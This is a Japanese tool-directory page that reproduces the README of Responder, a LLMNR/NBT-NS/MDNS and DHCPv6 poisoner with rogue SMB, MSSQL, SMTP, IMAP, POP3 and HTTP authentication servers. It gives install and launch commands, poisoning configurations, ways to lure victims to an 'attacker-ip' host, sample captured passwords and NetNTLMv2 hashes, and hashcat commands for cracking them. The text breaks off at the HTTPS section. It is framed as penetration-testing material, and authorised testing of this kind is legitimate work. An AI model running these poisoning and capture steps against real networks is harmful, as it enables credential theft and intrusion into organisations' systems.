Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Responder — Responderは、LLMNR、NBT-NS、MDNSポイズナーであり、NTLMv1/NTLMv2/LMv2、拡張セキュリティNTLMSSP、およびBasic HTTP認証をサポートする組み込みのHTTP/SMB/MSSQL/FTP/LDAP不正認証サーバーを備えています。 | Kitploit
ツール/GitHubGitHub/lgandx/responder
パスワードクラッキング偵察パスワード攻撃DNSおよびサブドメイン列挙エクスプロイト横移動情報収集ネットワークセキュリティペネトレーションテスト認証DNSファジングレッドチーミング
6.5k8671494ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
DNS分析
横移動 第7位
パスワード攻撃 第8位
パスワードクラッキング 第6位
GitHublgandx/responder

Responder

Responderは、LLMNR、NBT-NS、MDNSポイズナーであり、NTLMv1/NTLMv2/LMv2、拡張セキュリティNTLMSSP、およびBasic HTTP認証をサポートする組み込みのHTTP/SMB/MSSQL/FTP/LDAP不正認証サーバーを備えています。

リポジトリを見る

Responder

Python Version License

Responder は、LLMNR、NBT-NS、MDNS ポイズナーで、HTTP、SMB、MSSQL、FTP、LDAP、Kerberos、DNS などのための組み込みの不正認証サーバーを備えています。NTLMv1/NTLMv2/LMv2、拡張セキュリティ NTLMSSP、および15以上のプロトコルにわたるさまざまな認証方式をサポートしています。


目次

  • 概要
  • 新機能
  • インストール
  • クイックスタート
  • ネットワークポイズニング
  • 不正サーバー
  • 設定
  • macOS
  • トラブルシューティング

概要

Responderは、LLMNR、NBT-NS、MDNSの名前解決要求に応答して資格情報を取得します。クライアントが存在しないホスト名を解決しようとすると、Responderが応答し、クライアントを攻撃者のマシンに誘導します。そこでは複数の不正認証サーバーが資格情報を取得します。DHCP、DHCPv6の不正サーバーも含まれており、個別に有効化できます。

取得データ:

  • NetNTLMv1/v2ハッシュ - hashcat/johnで解析可能
  • Kerberos AS-REQハッシュ - オフラインクラッキング (hashcat -m 7500)
  • 平文資格情報 - HTTP Basic、FTP、SMTP、IMAP、LDAP、SQLなど
  • チャレンジレスポンス - CRAM-MD5、DIGEST-MD5

新機能

このバージョンには以下が含まれます:

DHCPv6 & DNS の強化

  • ✅ DHCPv6 INFORMATION-REQUEST - Windows 10/11 の完全互換
  • ✅ ドメインフィルタリング - 特定のドメインをターゲット (DHCPv6 & DNS)
  • ✅ ルーターアドバタイズメント - オプションのIPv6ネットワークポイズニング

メールサーバーのアップグレード

  • ✅ SMTP STARTTLS - 最新のメールクライアントからのキャプチャ
  • ✅ IMAP STARTTLS - TLSアップグレード付きポート143
  • ✅ IMAPS - ポート993でのネイティブSSL
  • ✅ 拡張POP3 - 互換性の向上

Kerberosの改善

  • ✅ Force AS-REQ - Kerberos認証を強制します。
  • ✅ Attempt NTLM Fallback - Kerberos認証を取得した後、KDC_ERR_ETYPE_NOSUPPを返します。

プロトコルの拡張

  • ✅ MSSQL - SQL Server認証のキャプチャ
  • ✅ LDAP/LDAPS - ディレクトリサービス資格情報
  • ✅ RDP - リモートデスクトップ認証
  • ✅ WinRM - Windows Remote Management
  • ✅ DCERPC - Windows RPC認証

インストール

必要条件

  • Python 2.7 または Python 3.x
  • Linux (Ubuntu、Kali、Debian推奨)
  • root権限

システム依存関係```bash

sudo apt-get update sudo apt-get install python3 python3-pip python3-netifaces

### Responderのインストール```bash
git clone https://github.com/lgandx/Responder.git
cd Responder
pip3 install -r requirements.txt

インストールの確認```bash

sudo python3 Responder.py --help

---

## クイックスタート

### 基本的なポイズニング```bash
# Standard LLMNR/NBT-NS poisoning
sudo python3 Responder.py -I eth0 -v

# Analyze mode (passive monitoring)
sudo python3 Responder.py -I eth0 -A -v

DHCPv6 攻撃```bash

Edit Responder.conf first:

[DHCPv6 Server]

DHCPv6_Domain = corp.local

sudo python3 Responder.py -I eth0 --dhcpv6 -v

### HTTP Basic認証の強制```bash
sudo python3 Responder.py -I eth0 -b -v

プロキシ認証 + 不正DHCP を有効にする```bash

Enable Proxy-auth server with rogue DHCP server injecting WPAD server (highly effective)

sudo python3 Responder.py -I eth0 -Pvd

---

## ネットワークポイズニング

### LLMNR/NBT-NS/MDNS ポイズニング

**目的:** 名前解決の失敗に応答する

**動作の仕組み:**
1. クライアントが存在しないホストに対してブロードキャストクエリを送信
2. レスポンダーが「私がそのホストです」と応答
3. クライアントが攻撃者に接続
4. 資格情報が取得される

**設定:**```ini
[Responder Core]
LLMNR = On
NBTNS = On
MDNS = On

使用方法:```bash sudo python3 Responder.py -I eth0 -v

---

### DHCPv6 Server

**目的:** IPv6経由で攻撃者のDNSを使用するようクライアントに強制

**機能:**
- ✅ INFORMATION-REQUEST サポート (Windows 10/11)
- ✅ SOLICIT/REQUEST サポート
- ✅ ドメインフィルタリング (精密なターゲット指定)
- ✅ Router Advertisement (オプション)

**動作原理:**
1. WindowsがDHCPv6 INFORMATION-REQUEST、SOLICIT、REQUESTを送信
2. Responderが応答: DNS = 攻撃者のIPv6
3. WindowsがIPv6 DNSを優先
4. すべてのDNSクエリ → 攻撃者
5. DNSポイズニング → 認証情報の取得

**設定:**```ini
[DHCPv6 Server]
; Only respond to specific domain
DHCPv6_Domain = corp.local

; Send Router Advertisements
SendRA = Off

; IPv6 address to advertise
BindToIPv6 = fe80::1

使用法:```bash sudo python3 Responder.py -I eth0 --dhcpv6 -v

**期待される出力:**```
[DHCPv6] INFORMATION-REQUEST from fe80::a1b2:c3d4
[DHCPv6] Client domain: workstation.corp.local
[DHCPv6] Matched target domain: corp.local
[DHCPv6] Responding with DNS: fe80::1
[DNS] Query: mail.corp.local (A)
[DNS] Poisoned: mail.corp.local -> 192.168.1.100
[SMTP] Captured: [email protected]:Password123

不正サーバ

Responderには17以上の不正認証サーバが含まれています:

ファイルおよびネットワークサービス

SMBサーバ (ポート 445, 139)

目的: ファイル共有からNetNTLMハッシュを取得

機能:

  • ✅ SMBv1/SMBv2/SMBv3
  • ✅ NetNTLMv1/v2 ハッシュ取得
  • ✅ 拡張セキュリティ NTLMSSP
  • ✅ セッション署名無効(リレーを許可)

トリガー:```powershell

UNC paths

\attacker-ip\share \non-existent-server\files

NET USE commands

net use \attacker-ip\share

Windows Explorer address bar

\attacker-ip\

**キャプチャ形式:**```
username::domain:challenge:response:blob

クラッキング:```bash hashcat -m 5600 smb-ntlmv2.txt wordlist.txt

**設定:**```ini
[Responder Core]
SMB = On

FTPサーバー(ポート21)

目的: 平文のFTP認証情報をキャプチャ

特徴:

  • ✅ 匿名ログインハニーポット
  • ✅ USER/PASS認証
  • ✅ 平文の認証情報キャプチャ

トリガー:```bash ftp attacker-ip

Username: anything

Password: anything

**取得形式:**```
[FTP] Cleartext: username:password

構成:```ini [Responder Core] FTP = On

---

### データベースサーバー

#### MSSQL Server (ポート 1433)

**目的:** Microsoft SQL Server 認証のキャプチャ

**機能:**
- ✅ SQL Server 認証
- ✅ Windows 認証 (NTLM)
- ✅ 平文の SQL 資格情報
- ✅ NetNTLMv2 ハッシュキャプチャ

**トリガー:**```sql
-- SQL Server Management Studio
Server: attacker-ip
Authentication: SQL Server / Windows

-- Command line
sqlcmd -S attacker-ip -U sa -P password

-- Connection strings
Server=attacker-ip;Database=master;User Id=sa;Password=pass;

キャプチャされたフォーマット:``` [MSSQL] SQL Auth: sa:password123 [MSSQL] NetNTLMv2: DOMAIN\user::domain:challenge:response:blob

**設定:**```ini
[Responder Core]
SQL = On

注記:

  • SQL認証とWindows認証の両方をキャプチャします
  • SSMS、sqlcmd、ADO.NET接続で動作します
  • Windows認証を介してドメイン資格情報をキャプチャできます

メールサーバー

SMTPサーバー(ポート25、587)

目的: メールクライアント認証のキャプチャ

機能:

  • ✅ STARTTLS対応(最新クライアント)
  • ✅ AUTH PLAIN(平文)
  • ✅ AUTH LOGIN(平文)
  • ✅ AUTH CRAM-MD5
  • ✅ AUTH DIGEST-MD5
  • ✅ AUTH NTLM(NetNTLMv2)

STARTTLSフロー:``` Client → EHLO Server → 250-STARTTLS Client → STARTTLS Server → 220 Ready to start TLS [TLS handshake using self-signed cert] Client → AUTH PLAIN Server → Captured! ✅

**トリガー:**```
Email client configuration:
- Server: attacker-ip
- Port: 25 or 587
- Security: STARTTLS or None
- Username: anything
- Password: anything

キャプチャされたフォーマット:``` [SMTP] LOGIN: [email protected]:Password123 [SMTP] NetNTLMv2: user::DOMAIN:challenge:response:blob [SMTP] CRAM-MD5: user:challenge:response

**設定:**```ini
[Responder Core]
SMTP = On

Certificate Warnings: 自己署名証明書の警告は正常です。クライアントは最初の試行を拒否し、再試行し、成功します。認証情報は依然として取得されます。


IMAPサーバ (ポート143)

目的: STARTTLSを使用したIMAP認証のキャプチャ

機能:

  • ✅ STARTTLSサポート
  • ✅ LOGINコマンド (平文)
  • ✅ AUTHENTICATE PLAIN
  • ✅ AUTHENTICATE LOGIN
  • ✅ AUTHENTICATE NTLM

STARTTLSフロー:``` Client → CAPABILITY Server → * CAPABILITY IMAP4 AUTH=PLAIN AUTH=NTLM STARTTLS Client → STARTTLS Server → OK Begin TLS negotiation now [TLS upgrade] Client → LOGIN user password Server → Captured! ✅

**設定:**```ini
[Responder Core]
IMAP = On

IMAPSサーバ (Port 993)

目的: IMAP over SSL (ネイティブ暗号化)

機能:

  • ✅ 接続開始時からのネイティブSSL
  • ✅ すべてのIMAP認証方式
  • ✅ STARTTLS不要(すでに暗号化済み)

IMAPとの違い:``` Port 143 (IMAP): Plain → STARTTLS → Encrypted Port 993 (IMAPS): Encrypted from start

**設定:**```ini
[Responder Core]
IMAPS = On

POP3 サーバー (ポート 110)

目的: POP3 メール取得認証情報のキャプチャ

機能:

  • ✅ USER/PASS 認証
  • ✅ APOP (MD5 チャレンジ)
  • ✅ 平文認証情報のキャプチャ

トリガー:``` Email client:

  • Protocol: POP3
  • Server: attacker-ip
  • Port: 110
**キャプチャ形式:**```
[POP3] USER: username
[POP3] PASS: password

設定:```ini [Responder Core] POP = On

---

### Webサーバー

#### HTTPサーバー (Port 80)

**目的:** Web認証のキャプチャ

**機能:**
- ✅ NTLM認証 (NetNTLMv1/v2)
- ✅ Basic認証 (平文)
- ✅ Digest認証 (MD5)
- ✅ WPADインジェクション

**トリガー:**```
Browser: http://attacker-ip/
UNC: file://attacker-ip/share
WPAD: Automatic proxy detection

Basic認証の強制:```bash sudo python3 Responder.py -I eth0 -b

**キャプチャされたフォーマット:**```
[HTTP] NTLM NTLMv2: user::DOMAIN:challenge:response:blob
[HTTP] Basic: user:password
[HTTP] Digest: user:realm:hash

設定:```ini [Responder Core] HTTP = On

---

#### HTTPSサーバー (ポート443)
ツールをダウンロード